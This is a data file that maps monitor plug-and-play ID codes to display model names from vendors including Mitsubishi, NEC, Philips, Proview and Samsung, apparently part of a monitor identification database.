MAX15D2=Belinea 10 55 86
MAX15D6=Belinea 10 55 90
MAX15DB=Belinea 10 55 95
MAX15DC=Belinea 10 55 96
MAX1784=Belinea 10 60 20
MAX178E=Belinea 10 60 30
MAX1793=Belinea 10 60 35
MAX17A2=Belinea 10 60 50
MAX17A7=Belinea 10 60 55 / Art. No. 106055
MAX17AC=Belinea 10 60 60
MAX17B1=Belinea 10 60 65
MAX17B6=Belinea 10 60 70
MAX17BB=Belinea 10 60 75 / Art. No. 106075
MAX17C0=Belinea 10 60 80
MAX17CA=Belinea 10 60 90
MAX17CF=Belinea 10 60 95
MAX1B62=Belinea 10 70 10
MAX1B67=Belinea 10 70 15
MAX1B6C=Belinea 10 70 20
MAX1B71=Belinea 10 70 25
MAX1B76=Belinea 10 70 30
MAX1B7B=Belinea 10 70 35
MAX1B80=Belinea 10 70 40
MAX1B8A=Belinea 10 70 50
MAX1B94=Belinea 10 70 60
MAX1B99=Belinea 10 70 65
MAX1F4A=Belinea 10 80 10
MAX1F4F=Belinea 10 80 15
MAX1F54=Belinea 10 80 20
MAX1F59=Belinea 10 80 25
MAX1F72=Belinea 10 80 50
MAX1F7C=Belinea 10 80 60
MAX1F90=Belinea 10 80 80
MAX1F9A=Belinea 10 80 90
MAX1F9F=Belinea 10 80 95
MAX3430=Belinea 10 55 40
MAX3539=Belinea 10 50 95
MAX4065=Belinea 10 40 65
MAX5620=Belinea 10 50 65
MAX5624=Belinea 10 50 66
MAX7555=Belinea 10 55 75
MDD1995=MODIS MS-19H
MED0427=MD1772LA
MED1705=MEDION MD1772xe
MED1772=MEDION MD1772ie
MED1903=Medion MD1998sl
MED3706=MEDION MD1772ja
MED3907=MEDION MD1998ja
MEI0C3C=Panasonic TX-D1734-J
MEI0C4A=Panasonic JPH1734-MON
MEI0C5F=CyberVision ds69
MEI0C60=CyberVision ds86
MEI0C61=CyberVision ds69T
MEI0C74=CyberVision ds86D
MEI0C7D=Panasonic SL70
MEI0C81=Panasonic P70
MEI0C96=Panasonic SL70i(TX-D7S36)
MEI0C9B=Panasonic PL70i(TX-D7S55)
MEI1006=Panasonic TX-D17P53-J
MEI1007=Panasonic PF70
MEI120D=Panasonic SL90 (TX-D9S54)
MEI1604=Panasonic TX-D2151W-ES
MEI1610=Panasonic TX-D2151NM
MEI1637=Panasonic TX-D2162-J
MEI1641=CyberVision ds95
MEI1645=CyberVision ds115
MEI1649=Panasonic S110
MEI1AFE=HIGHSCREEN FlatStar
MEI1E02=Panasonic LC40
MEI1E07=Panasonic LC50S (TX-D5L31F)
MEI2622=Panasonic S15
MEI2632=Panasonic P50
MEI2635=CyberVision ds6915x
MEI2637=Panasonic E50
MEI3132=Panasonic TX-D1734-J
MEI3144=Panasonic TX-D1733F-J
MEI3171=Panasonic TX-D1734F-J
MEI4102=Panasonic TX-D7P53-J
MEI5650=Panasonic TX-D2151-J
MEI5679=Panasonic TX-D2162-J
MEI5694=Panasonic TX-D2171-J
MEI7681=Panasonic TX-D4L31-J
MEIFE00=Panasonic CF-L10TBJP
MEIFE01=Panasonic CF-L10SBJP
MEIFE02=Panasonic CF-L10TAJP2
MEIFE03=Panasonic CF-L10TCJP2
MEIFE05=Panasonic CF-L10TPJP
MEIFE0D=Panasonic CF-L10TCJM
MEIFE12=Panasonic CF-L10TMJM
MEIFE13=Panasonic CF-L10TRJM
MEL0040=Mitsubishi Diamond Pro 21TX (THN9105)
MEL1040=Mitsubishi RD21G
MEL2040=Mitsubishi Diamond Pro 20X (FR8905)
MEL3001=Mitsubishi LVP-X300 Projector (LVP-X300)
MEL4040=Mitsubishi Diamond Pro 17TX (TFG8705)
MEL4064=Mitsubishi Diamond Pro 67TXV (TFV6705)
MEL4065=Mitsubishi RD17GR
MEL408F=Mitsubishi Diamond Scan 15VX (SD58xx)
MEL409F=Mitsubishi RD15M
MEL40B0=Mitsubishi RD17GXII/RD17GXII Clear
MEL40C0=Mitsubishi Diamond Pro 87TXM (TFM8705)
MEL40D0=Mitsubishi RD17M
MEL40E0=Mitsubishi Diamond Pro 91TXM (TFW9105)
MEL40E1=Mitsubishi Diamond Plus 100 (TFW1105)
MEL40F0=Mitsubishi RD21GII
MEL40F1=Mitsubishi RD21GX
MEL4100=Mitsubishi Diamond Pro 1000 (TFX1105)
MEL4101=Mitsubishi Diamond Pro 1010 (TUX1107)
MEL4110=Mitsubishi Diamond Pro 700 (TFK9705)
MEL4120=Mitsubishi SpectraView 1000
MEL4130=Mitsubishi SpectraView 700
MEL4140=Mitsubishi RD21GIII
MEL4141=Mitsubishi RD21GH
MEL4150=Mitsubishi RD17GZ
MEL4160=Mitsubishi Diamond Plus 72 (TFV-8705)
MEL4170=Mitsubishi RD17GIII
MEL4190=Mitsubishi Diamond Plus 70 (TF-7700P)
MEL41B0=Mitsubishi RDT151
MEL41B3=Mitsubishi TFT Monitor RDT150S
MEL41C0=Mitsubishi LCD 40 (LXA420W)
MEL41D0=Mitsubishi LCD 50 (LXA520W)
MEL41D1=Mitsubishi LCD 51 (LXA530W)
MEL41D2=Mitsubishi LCD 52 (LXA550W/WB)
MEL41D3=Mitsubishi LCD 52 (LXA565W)
MEL41D4=Mitsubishi LCD 151A (LXA572WB)
MEL41D6=Mitsubishi LCD 580 (LXA580W)
MEL41F0=Mitsubishi Diamond Scan 50 (SD5904)
MEL4210=Mitsubishi Diamond Scan 70 (SD7704)
MEL4220=Mitsubishi Diamond Scan 90e (FFT9905)
MEL4240=Mitsubishi Diamond Plus 71 (TFV6708)
MEL42C0=Mitsubishi Diamond Pro 900u (NFJ9905)
MEL42D0=Mitsubishi TFT Monitor RDT180S
MEL42F0=Mitsubishi Diamond Plus 120u (TFA1105)
MEL4303=MITSUBISHI RDF22P
MEL4310=Mitsubishi Diamond Pro 2020u (NUB1107)
MEL4311=Mitsubishi Diamond Pro 2040u (NSB1107)
MEL4340=Mitsubishi LCD 80 (LSA810W)
MEL4341=Mitsubishi LCD 80 (LSA820W/WB)
MEL4343=Mitsubishi LCD 80 (LSA831W)
MEL4360=Mitsubishi Diamond Pro 710 (NFF8705)
MEL4380=Mitsubishi Diamond Pro 710s (NFN8705)
MEL4381=Mitsubishi Diamond Pro 720 (NFN9705)
MEL43A0=Mitsubishi Diamond Plus 91 (NFL9905)
MEL43F0=Mitsubishi Diamond Plus 200 (NSH1117)
MEL43F3=Mitsubishi Diamond Pro 2045u (NSH1157)
MEL4440=Mitsubishi Diamond Pro 920 (NUR1905)
MEL4460=Mitsubishi Diamond Plus 73 (N9705)
MEL4470=Mitsubishi RDF221S
MEL44C0=Mitsubishi RDF191S
MEL44E0=Mitsubishi TFT RDT153A
MEL4500=Mitsubishi RDF171S
MEL4511=Mitsubishi Diamond Pro 2060u (NSZ1207)
MEL464E=Mitsubishi E55LCD
MEL5040=Mitsubishi RD17GII
MEL6040=Mitsubishi RD17F
MEL6140=Mitsubishi Diamond Scan 17HX (FFF8705)
MEL8040=Mitsubishi Diamond Scan 15HX (SD57xxC)
MEL9040=Mitsubishi RD15G
MELA040=Mitsubishi RD17GX
MIR0721=PROOFSCREEN miroC21107
MIR6815=PROOFSCREEN miroD1568
MIR6817=PROOFSCREEN miroC1768
MIR6917=PROOFSCREEN miroD1769
MIR8217=PROOFSCREEN miroC1782
MIR8520=PROOFSCREEN miroC2085 E
MIR8521=PROOFSCREEN miroC2185
MIR9321=PROOFSCREEN miroC2193
MS_0002=Digital Flat Panel (800x600)
MS_0003=Digital Flat Panel (1024x768)
MS_0005=Digital Flat Panel (1280x1024)
MS_0006=Digital Flat Panel (1600x1200)
MS_0016=Digital Flat Panel (1280x768)
MS_001C=Digital Flat Panel (1400x1050)
MS_0026=Digital Flat Panel (1920x1200)
MS_0040=Digital Flat Panel (1280x800)
MTC0001=MITAC 1450FV
MTC0002=MITAC 1564FD/1564FS
MTC0003=MITAC 1450FD
NAN0000=NANAO USA FlexScan T2-20
NAN0100=EIZO FlexScan 88F
NAN0101=EIZO FlexScan 77F
NAN0102=EIZO FlexScan 6600
NAN0400=NANAO USA F2-15
NAN0401=NANAO USA F2-17
NAN0402=NANAO USA F2-17EX
NAN0403=NANAO USA F2-21
NAN0404=NANAO USA FX2-21
NAN0405=NANAO USA FlexScan T2-17TS
NAN0406=NANAO FlexScan 6600
NAN0502=NANAO 9060S
NAN0503=NANAO 9065S
NAN0506=NANAO 9070U
NAN0507=NANAO 9080i
NAN0508=NANAO 9400i
NAN0509=NANAO 9500
NAN050A=NANAO FlexScan F340iW
NAN050B=NANAO FlexScan F550i
NAN050C=NANAO FlexScan F550iW
NAN050D=NANAO FlexScan F560iW
NAN050E=NANAO FlexScan F750i
NAN050F=NANAO FlexScan F760iW
NAN0510=NANAO FlexScan F780iW
NAN0511=NANAO FlexScan T560i
NAN0512=NANAO FlexScan T660i
NAN0513=NANAO USA FlexScan T2-17
NAN0514=NANAO USA FlexScan T2-20
NAN0580=NANAO USA FlexScan 6300
NAN0800=NANAO FlexScan 33F
NAN0802=NANAO FlexScan 88F
NAN0805=NANAO FlexScan 54T
NAN0882=NANAO FlexScan 52F
NAN0900=NANAO FlexScan 6500
NAN090A=NANAO FlexScan F347
NAN090C=NANAO FlexScan F557
NAN090F=NANAO FlexScan 77F
NAN0910=NANAO FlexScan F780iJ
NAN0911=NANAO FlexScan T560iJ
NAN0912=NANAO FlexScan T660iJ
NAN0913=NANAO FlexScan 56T
NAN0914=NANAO FlexScan 68T
NAN098A=NANAO FlexScan F347II
NAN098C=NANAO FlexScan 55F
NAN098F=NANAO FlexScan 76F
NAN0991=NANAO FlexScan T567
NAN0993=NANAO FlexScan 53T
NAN1002=NANAO FlexScan 56TS
NAN1003=NANAO FlexScan 68TS
NAN1200=EIZO FlexScan E35F
NAN1201=EIZO FlexScan E57T
NAN1202=EIZO FlexScan E66T
NAN1203=EIZO FlexScan E65T
NAN1204=EIZO FlexScan E53F
NAN1205=EIZO FlexScan E55D
NAN1206=EIZO FlexScan E75F
NAN1207=EIZO FlexScan E78F
NAN1208=EIZO FlexScan E51F
NAN1209=EIZO FlexScan E141L
NAN1210=EIZO FlexScan E57Ts
NAN1211=EIZO FlexScan E76D
NAN1212=EIZO FlexScan E151L
NAN1213=EIZO E67F
NAN1214=EIZO E67T
NAN1215=EIZO E51FS
NAN1218=EIZO FlexScan E76F
NAN1219=EIZO L66
NAN1220=EIZO FlexScan E54F
NAN1221=EIZO L360
NAN1222=EIZO T960
NEC----=NEC MultiSync LCD1720M
NEC000A=NEC CRT Display D151, NEC PC-9821Xc13/S5,V13/S5,V16/S5 Integrated Color Monitor
NEC0014=NEC CRT Display D171
NEC001E=NEC PC-DH171, NEC PC-9821Ct16,Ct20 Integrated Color Monitor
NEC0032=NEC CRT Display D17A1
NEC0046=NEC CRT Display D17C2
NEC0050=NEC CRT Display D15A1
NEC005A=NEC CRT Display D17B1
NEC006E=NEC DV15A1
NEC0078=NEC DV17A1
NEC0082=NEC DV17B1
NEC008C=NEC DV17C1
NEC0096=NEC DV17C2
NEC00A0=NEC F14T1
NEC00AA=NEC DV15D1
NEC00C8=NEC PK-DH172
NEC00DC=NEC F14T2H
NEC00E6=NEC F14T2L
NEC0190=NEC CRT Display D172
NEC019A=NEC DV15A2
NEC01A4=NEC DV17C3
NEC01AE=NEC DV17B2
NEC0320=NEC MultiSync LT80
NEC05E6=NEC MultiSync 15TV (PC-TM151)
NEC05FC=NEC MultiSync 15II (PC-KM153R2)
NEC0604=NEC MultiSync 15Pro (PC-KM154)
NEC060E=NEC MultiSync 15AV (PC-KM155)
NEC06AE=NEC MultiSync 17TV (PC-TM171)
NEC06C3=NEC MultiSync 17II (PC-KM173R)
NEC06C4=NEC MultiSync 17VL (PC-KM173R2)
NEC06CC=NEC MultiSync 17Pro (PC-KM174)
NEC06CD=NEC MultiSync 17ProII (PC-KM174R)
NEC06D6=NEC MultiSync 17AV (PC-KM175)
NEC0AFA=NEC DH28W2
NEC0C8A=NEC DH32W2
NEC100E=NEC PC-KP411
NEC13F6=NEC PC-KP511
NEC14BE=NEC PC-KP531
NEC1770=NEC ViewLight V600 (PC-PJ612)
NEC196E=NEC MultiSync LCD12 (PC-KP651)
NEC1D4D=NEC MultiSync 50
NEC1E15=NEC MultiSync 70
NEC1FA4=NEC MultiSync MT810
NEC251D=NEC V520
NEC25E5=NEC V720
NEC2710=NEC MultiSync MT1000
NEC2FB2=NEC LCD200
NEC3782=NEC MultiSync LCD400
NEC378C=NEC MultiSync LCD410 (LA-1422JM)
NEC37BE=NEC MultiSync LCD1400M
NEC37FA=NEC MultiSync XV14
NEC3A66=NEC MultiSync C400
NEC3B6A=NEC MultiSync LCD1510
NEC3B74=NEC MultiSync LCD1510V
NEC3B88=NEC MultiSync LCD1500M
NEC3BA6=NEC MultiSync LCD1525V
NEC3BB0=NEC MultiSync LCD1525M
NEC3BCE=NEC MultiSync LCD1525S
NEC3C00=NEC MultiSync XE15
NEC3C0A=NEC MultiSync XP15
NEC3C14=NEC MultiSync XV15
NEC3C1E=NEC MultiSync XE15
NEC3D5E=NEC MultiSync XV15+
NEC3D5F=NEC MultiSync LCD1510+
NEC3D68=NEC MultiSync M500
NEC3D73=NEC MultiSync LCD1510V+
NEC3D7C=NEC MultiSync X500 (JC-1574VM)
NEC3D86=NEC MultiSync E500
NEC3D90=NEC MultiSync A500
NEC3DC2=NEC MultiSync A500+
NEC3E4E=NEC MultiSync C500
NEC3E53=NEC CS500 Multimedia Monitor
NEC4272=NEC MultiSync FE700
NEC43A8=NEC MultiSync XE17
NEC43B2=NEC MultiSync XE17
NEC43BC=NEC MultiSync XV17
NEC43BD=NEC MultiSync XV17+ (-2)
NEC43C6=NEC MultiSync M700
NEC43D0=NEC MultiSync A700
NEC43EE=NEC MultiSync A700+
NEC4416=NEC MultiSync XP17
NEC4420=NEC MultiSync P750
NEC442A=NEC MultiSync XV17+ (-2)
NEC4434=NEC MultiSync E700
NEC443D=NEC MultiSync X750 (JC-1746UM)
NEC443E=NEC MultiSync E750
NEC4786=NEC MultiSync LCD1810
NEC4BD2=NEC MultiSync E900
NEC4BDC=NEC MultiSync E900+
NEC4BE6=NEC MultiSync A900
NEC4BF0=NEC MultiSync 90
NEC4BFA=NEC MultiSync E950
NEC4C04=NEC MultiSync FP950
NEC4F56=NEC MultiSync LCD2000
NEC4F60=NEC MultiSync LCD2010
NEC533E=NEC MultiSync XE21
NEC53B6=NEC MultiSync XP21
NEC53C0=NEC MultiSync E1100
NEC53CA=NEC MultiSync P1150
NEC53D3=NEC MultiSync P2150 (JC-2145UM)
NEC53DE=NEC MultiSync E1100+
NEC53E8=NEC MultiSync P1250+
NEC578A=NEC MultiSync FP1350
NEC5DC0=NEC V521
NEC5DC2=NEC MultiSync V921
NEC5DC3=NEC AccuSync 50
NEC5DC4=NEC AccuSync 70
NEC5DC5=NEC AccuSync 90
NEC5DC9=NEC MultiSync 75
NEC5DCA=NEC MultiSync 95
NEC5DCF=NEC AccuSync 75F
NEC5DD0=NEC AccuSync 95F
NEC5DD1=NEC MultiSync 75F
NEC5DD2=NEC MultiSync 95F
NEC5DD5=NEC AccuSync 120
NEC61A8=NEC MultiSync FP1370
NEC61AB=NEC MultiSync FE1250
NEC61AD=NEC MultiSync FE750
NEC61AE=NEC MultiSync FE950
NEC61B0=NEC MultiSync FP1350X (Analog)
NEC61B1=NEC MultiSync FP1350X (Digital)
NEC61B2=NEC MultiSync 125
NEC61B3=NEC MultiSync FE750+
NEC61B4=NEC MultiSync FE950+
NEC61B5=NEC MultiSync FP955
NEC61B6=NEC MultiSync FE1250+
NEC61BA=NEC MultiSync FE700+
NEC61BB=NEC MultiSync FP1355
NEC61BC=NEC MultiSync V721
NEC61BE=NEC MultiSync FP1375X (Analog)
NEC61C1=NEC MultiSync FP1375X (Digital)
NEC61D2=NEC MultiSync 77F
NEC61D3=NEC MultiSync 97F
NEC61D4=NEC AccuSync 125F
NEC61D5=NEC MultiSync FE770
NEC61D6=NEC MultiSync FE771SB
NEC61D7=NEC MultiSync FE791SB
NEC61D8=NEC MultiSync FE991SB
NEC61DB=NEC MultiSync FP2141SB
NEC61DC=NEC MultiSync FE990
NEC61DD=NEC MultiSync FP912SB
NEC6590=NEC MultiSync LCD15T
NEC6591=NEC MultiSync LCD1525X
NEC6594=NEC MultiSync LCD1810X
NEC6597=NEC MultiSync LCD2110
NEC65A1=NEC MultiSync LCD1800
NEC65A2=NEC MultiSync LCD2010X
NEC65A8=NEC MultiSync LCD1530V
NEC65A9=NEC MultiSync LCD1700M
NEC65B1=NEC MultiSync LCD1830
NEC65B3=NEC MultiSync LCD1850DX
NEC65B5=NEC MultiSync LCD1700M+
NEC65C0=NEC MultiSync LCD1850X
NEC65C6=NEC MultiSync LCD1550V
NEC65C7=NEC MultiSync LCD1550M
NEC65C8=NEC MultiSync LCD1550X
NEC65D1=NEC MultiSync LCD1850E
NEC65D2=NEC MultiSync LCD1700V
NEC65D4=NEC MultiSync LCD1880SX
NEC65D7=NEC MultiSync LCD1454V
NEC65DE=NEC MultiSync LCD1920NX
NEC65DF=NEC MultiSync LCD1700NX (Digital)
NEC65E0=NEC MultiSync LCD1700NX (Analog)
NEC65E6=NEC LCD3000 (Analog)
NEC65E7=NEC LCD3000 (Digital)
NEC65E8=NEC MultiSync LCD1860NX (Analog)
NEC65E9=NEC MultiSync LCD1860NX (Digital)
NEC65EA=NEC MultiSync LCD1760VM (Analog)
NEC65ED=NEC MultiSync LCD1760NX (Analog)
NEC65EE=NEC MultiSync LCD1760V
NEC65EF=NEC LCD1701
NEC65F0=NEC MultiSync LCD1560V
NEC65F1=NEC MultiSync LCD1560VM
NEC65F2=NEC MultiSync LCD1560M
NEC65F3=NEC MultiSync LCD1555V
NEC65F7=NEC MultiSync LCD1855NX (Analog)
NEC65F8=NEC MultiSync LCD1855NX (Digital)
NEC65FA=NEC MultiSync LCD1560NX
NEC65FB=NEC LCD1501
NEC6603=NEC MultiSync LCD1760VM (Digital)
NEC6604=NEC MultiSync LCD1760NX (Digital)
NEC6605=NEC MultiSync LCD2080UX
NEC6606=NEC LCD1711M
NEC6607=NEC LCD1511M
NEC6608=NEC LCD4000 (Digital)
NEC6609=NEC LCD4000 (Analog)
NEC660B=NEC MultiSync LCD1980SX (Digital)
NEC660C=NEC MultiSync LCD1980SX (Analog)
NEC660D=NEC LCD1512
NEC660E=NEC LCD1712
NEC660F=NEC MultiSync LCD1560V+
NEC6614=NEC LCD1912
NEC6615=NEC AccuSync LCD5V
NEC6616=NEC LCD1515
NEC6619=NEC AccuSync LCD9V
NEC661B=NEC LCD51V
NEC661D=NEC LCD71V
NEC6621=NEC LCD1765
NEC6626=NEC MultiSync LCD1980SX TCO-03(Digital)
NEC6627=NEC MultiSync LCD1980SX TCO-03(Analog)
NEC733C=NEC MultiSync 29DM (PC-KM291)
NEC927C=NEC MultiSync 37DM (PC-KM371)
NECD848=NEC MultiSync 21Pro (PC-KM212)
NECEA69=NEC C900
NECEA8B=NEC VistaScan 7000
NOK0081=NOKIA 449XA
OEC17DB=CTL 7dln/7sln
OEC5DB5=CTL 5xln
OKI0001=Oki GD2070
OKI07DB=Oki GD2011
OKI07E5=Oki GD2021A
OKI07E6=Oki GD2022
OKI0803=Oki GD2051
OKI080D=Oki GD2061
OKI0817=Oki GD2071
OQI3138=OPTIQUEST VA656
OQI3232=OptiQuest 1562A-2
OQI3234=OptiQuest 1000S
OQI3332=OptiQuest V655
OQI3333=Optiquest V775
OQI4132=OPTIQUEST V641
OQI4136=Optiquest Q41
OQI4432=OPTIQUEST V655-2
OQI4433=Optiquest Q53
OQI4434=Optiquest V655-3
OQI4435=Optiquest Q51
OQI4436=Optiquest V55
OQI4637=OptiQuest 1769DC
OQI4732=OPTIQUEST V775-2
OQI4733=OPTIQUEST V773
OQI4735=Optiquest Q71
OQI4736=Optiquest V773-2
OQI4738=Optiquest Q71-2
OQI4739=Optiquest V75
OQI4A31=Optiquest Q100
OQI4A32=Optiquest V95
OQI4D31=Optiquest V115
OQI4D32=Optiquest V115T
OQI5634=Optiquest V73
PBN4234=Packard Bell 1024S
PBN4483=Packard Bell PnP 4480
PBN5234=Packard Bell PnP 2024S
PBN5483=Packard Bell PnP 5480
PBN7483=Packard Bell PnP 7480
PGS003B=Princeton Graphic Systems EO15
PGS003C=Princeton Graphic Systems EO75
PGS003D=Princeton Graphic Systems EO17
PGS004D=Princeton Graphic Systems Ultra 50
PGS004E=Princeton Graphic Systems EO40
PGS004F=Princeton Graphic Systems EO50
PGS0050=Princeton Graphic Systems EO70
PGS0051=Princeton Graphic Systems Ultra 40
PGS0052=Princeton Graphic Systems EO72
PGS008B=Princeton Graphic Systems C2001
PGS008E=Princeton Graphic Systems EO500
PGS008F=Princeton Graphic Systems EO710
PGS009D=Princeton Graphic Systems EO400
PGS00B6=Princeton Graphic Systems EO700
PGS00B7=Princeton Graphic Systems EO720
PHL0001=Philips 105S (105S2)
PHL0004=Philips 107E (107E2)
PHL0005=Philips Brilliance 109P (109P2)
PHL0045=Philips Brilliance 4500AX (14.5 LCD MONITOR)
PHL0107=PHILIPS BRILLIANCE 107(17inch/CM8800)
PHL0200=Philips CM0200 (15C)
PHL0201=Philips Brilliance 201CS
PHL0500=Philips CM0500 (20C)
PHL0700=Philips CM0700 (20T)
PHL0800=Philips CM0800 (15B)
PHL0801=Philips 170B (17inch MONITOR)
PHL0802=Philips 150X (15inch LCD MONITOR)
PHL1021=Philips Brilliance 201B (PRODUCT ID 21B58...)
PHL104B=PHILIPS 104B(14inch/CM1300)
PHL104E=Philips 104E
PHL105A=PHILIPS BRILLIANCE 105(15inch/CM2200)
PHL105B=Philips 105B (15inch/CM1200)
PHL105C=PHILIPS 105S(15inch/CM1300)
PHL105E=Philips 105E
PHL107B=Philips 107B (17inch/CM6800)
PHL107C=PHILIPS 107S(17inch/CM6800)
PHL107E=Philips 107E
PHL1107=PHILIPS BRILLIANCE 107(PRODUCT ID 17A58...)
PHL1109=PHILIPS BRILLIANCE 109(PRODUCT ID 19A58...)
PHL1121=Philips Brilliance 201P (PRODUCT ID 21A58...)
PHL114B=Philips Magnavox MB4010 (14inch/CM1300)
PHL115B=Philips Magnavox MB5314 (15inch/CM1200)
PHL115C=Philips Magnavox MB5011 (15inch/CM1300)
PHL1200=Philips CM1200 (15A)
PHL1207=Philips Brilliance 107MP (17inch/CM5800)
PHL1209=Philips Brilliance 109MP (19inch/CM5800)
PHL140C=Philips 140S
PHL1500=Philips 150B (15.0 LCD MONITOR)
PHL150A=Philips Brilliance 150P
PHL150B=Philips 150B
PHL1510=Philips Brilliance 151AX (15.1 LCD MONITOR)
PHL1800=Philips CM1800 (15A)
PHL1810=Philips Brilliance 181AS (18.1 LCD MONITOR)
PHL2000=Philips CM0200 (14B)
PHL200B=Philips 200B (20inch/CM5600)
PHL200D=PHILIPS 200T(20inch/CM0700)
PHL201A=PHILIPS BRILLIANCE 201(21inch/CM1700)
PHL201B=PHILIPS 201B(21inch/CM0770)
PHL207A=Philips 201B (201B1)
PHL221A=Philips Brilliance 201P (201P1)
PHL2600=Philips 17TCM26
PHL2800=Philips 17BCM28
PHL3109=PHILIPS Magnavox 109S
PHL3800=Philips 17ACM38
PHL4109=PHILIPS 109S
PHL4500=PHILIPS BRILLIANCE AX4500(14.5 LCD MONITOR)
PHL454C=Philips 104S (104S1)
PHL5109=Philips 109S/86
PHL554E=Philips 105E (105E1)
PHL5600=Philips CM5600 (20B)
PHL560C=Philips 105S (105S1)
PHL5705=Philips 105G (105B1)
PHL5706=Philips 105A (105B1)
PHL5707=Philips 105MG (105B1)
PHL570B=Philips 105B (105B1)
PHL5F1F=Philips 29PX8031 Monitor/TV
PHL6800=PHILIPS 107B(17inch/CM6800)
PHL700B=Philips CM0700 (21B)
PHL770C=Philips 107S (107S1)
PHL770D=Philips 107X (107X1)
PHL770E=Philips 107E (107E1)
PHL770F=Philips 107G (107G1)
PHL792B=Philips 107B (107B1)
PHL796A=Philips Brilliance 107P (107P1)
PHL8000=Philips CM0800 (14A)
PHL907A=Philips Brilliance 109P (109P1)
PHL992C=Philips 109S (109S1)
PHL996B=Philips 109B (109B1)
PHLA15B=PHILIPS 105B(15inch/CM1200)
PHLA17B=Philips Magnavox MB7000(17inch/CM6800)
PHLA17C=PHILIPS 107S(17inch/CM1300)
PHLA513=Philips PD5029S Monitor/TV
PHLB14B=PHILIPS 104B(14inch/CM2300)
PHLB15B=Philips 105MB (15inch/CM2300)
PHLB15C=PHILIPS 105S(15inch/CM2300)
PHLB17B=Philips 107MB (17inch/CM2300)
PHLB17C=Philips 107S (17inch/CM2300)
PHLB17D=Philips 107B (CM2400)
PHLB17E=Philips 107S (CM2400)
PHLB17F=Philips 107E (17inch/CM2600)
PHLB19A=Philips 109B (CM2500)
PHLE001=Philips 105B (105B2)
PHLE002=Philips Brilliance 107P (107P2)
PHLE003=Philips 107B (107B2)
PHLE004=Philips 107T (107T2)
PHLE005=Philips 107S (107S2)
PHLE007=Philips 109B (109B2)
PHLE008=Philips 109S (109S2)
PLB1410=Philips PLB 1410 Model
PLB1510=Philips Brilliance 151AX (15.1 LCD MONITOR)
PLB1710=Philips PLB 1710
PLB1910=Philips PLB 1910
PTS00D7=Proview 21-inch 215
PTS00FA=Proview 10-inch 250
PTS014A=Proview 330 (LCD 13.3-inch)
PTS01C8=Proview 14-inch 456/458/462
PTS01CA=Proview 14-inch 458
PTS01CE=Proview 14-inch 460/462
PTS01D4=Proview 468 (LCD 14-inch)
PTS01FE=Proview 600/660 (LCD 15-inch Pivot)
PTS022E=Proview 15-inch 558
PTS0231=Proview 15-inch 558/561/562
PTS0232=Proview 15-inch 562/562N
PTS0236=Proview 15-inch 566/566N/LX556D
PTS023A=Proview 15-inch 566/568/570
PTS023B=Proview 15-inch 571/572/572N
PTS023C=Proview 15-inch 572/572N
PTS02D0=Proview 16-inch 720/722
PTS0301=Proview 17-inch 769/769N
PTS0302=Proview 17-inch 765/768/770
PTS0303=Proview 17-inch 777/777N Pure Flat
PTS0304=Proview 17-inch 772/772N
PTS0308=Proview 17-inch 775/776/778
PTS0309=Proview 17-inch 777/777N Pure Flat
PTS030A=Proview 17-inch 775/776/778
PTS030C=Proview 780 (LCD 17-inch)
PTS0311=Proview 17-inch 785/786/786N
PTS0312=Proview 17-inch 785/786/786N
PTS0313=Proview 17-inch 787 Pure Flat
PTS031B=Proview 17-inch PD/ID-950F Diamondtron Pure Flat
PTS031C=Proview 17-inch PD/ID-950F Diamondtron Pure Flat
PTS031D=Proview 17-inch 797/797N Pure Flat
PTS035C=Proview 14-inch 455/456/860
PTS03CC=Proview 19-inch HD972
PTS03DA=Proview 19-inch 986
PTS03DB=Proview 19-inch 987NS
PTS03E4=Proview 19-inch 996N/998N
PTS03E5=Proview 19-inch 997/997N Pure Flat
PTS03E6=Proview 19-inch 997/997N Pure Flat
PTS0419=Proview 19-inch HD972DT
PTS05AA=Proview 14-inch 848D
PTS060E=Proview 15-inch 550D
PTS0817=Proview 17-inch HD772
PTS0843=Proview 21-inch 215
PTS0917=Proview 17-inch LT776s
PTS0950=Proview 17-inch PD/ID-950F Daimondtron Pure Flat
PTS1215=Proview 15-inch HD572
PTS2215=Proview 15-inch PS576
REL0451=Relisys RE451
REL0518=Relisys RE518
REL0550=Relisys RE550
REL0551=Relisys RE551
REL0767=Relisys RE767
SAM0000=Samsung SyncMaster 3Ne
SAM0002=Samsung SyncMaster 570V/580V TFT
SAM0004=Samsung SyncMaster 151MP/155MP,MagicSyncMaster RB1500MP
SAM0005=Samsung SyncMaster 755DFT/740DFT
SAM0009=Samsung SyncMaster 755DFG/740DFG, MagicSyncMaster CTT17DFG 
SAM000A=Samsung SyncMaster 171MP/175MP,MagicSyncMaster RB1700MP
SAM000B=Samsung SyncMaster 770S TFT, MagicSyncMaster L17S-AN
SAM000D=SyncMaster 151D/155D/150D, MagicSyncMaster CX151BD
SAM0012=Samsung SyncMaster 760 TFT/ 760V TFT/ 780 TFT
SAM0013=SyncMaster 191T/195T/190T, SyncMaster Magic CX195T(Analog)
SAM0014=SyncMaster 191T/195T/190T, SyncMaster Magic CX195T(Digital)
SAM0017=SyncMaster 151s/155s/150s/151v, SyncMaster Magic CX151S-SZ/AZ/AS
SAM0018=SyncMaster 151B(M)/155B(M)/150B(M), MagicSyncMaster CX151B(M)
SAM0019=SyncMaster 151p/155p/150p, SyncMaster Magic CX151P(Analog)
SAM001A=SyncMaster 151p/155p/150p, SyncMaster Magic CX151P(Digital)
SAM001B=SyncMaster 171S/ 175S/ 170S, SyncMaster Magic  CX175S-AZ/LX175S
SAM001C=SyncMaster 171B(M)/175B(M)/170B(M), SyncMaster Magic CX175B(M)-AS/AZ
SAM001D=SyncMaster 171p/ 175p/ 170p, SyncMaster Magic CX175BD / CX175P-AS(Analog)
SAM001E=SyncMaster 171p/ 175p/ 170p, SyncMaster Magic CX175BD / CX175P-AS(Digital)
SAM001F=SyncMaster 181B/185B/180B, MagicSyncMaster CX185B(M)
SAM0020=SyncMaster 181T/185T/180T, SyncMaster Magic CX185T-AZ(Analog)
SAM0021=SyncMaster 181T/185T/180T, SyncMaster Magic CX185T-AZ(Digital)
SAM0022=Samsung SyncMaster 753DF(T)/ 783DF(T), MagicSyncMaster AQ17DF
SAM0023=SyncMaster 957FS/950FS/907FS, SyncMaster Magic CS197A(P)
SAM0025=SyncMaster 501s/551s/551v/501v, SyncMaster Magic CM151A(M)
SAM0026=SyncMaster 503b(T)/553b(T)/550b(T), SyncMaster Magic CM153A(M)
SAM0027=SyncMaster 703(M)s/ 753(M)s/750(M)s/753(M)v, SyncMaster Magic CM173A(M)
SAM0028=SyncMaster 757p(T)/707p(T)/750p(T), SyncMaster Magic CM177A(P)
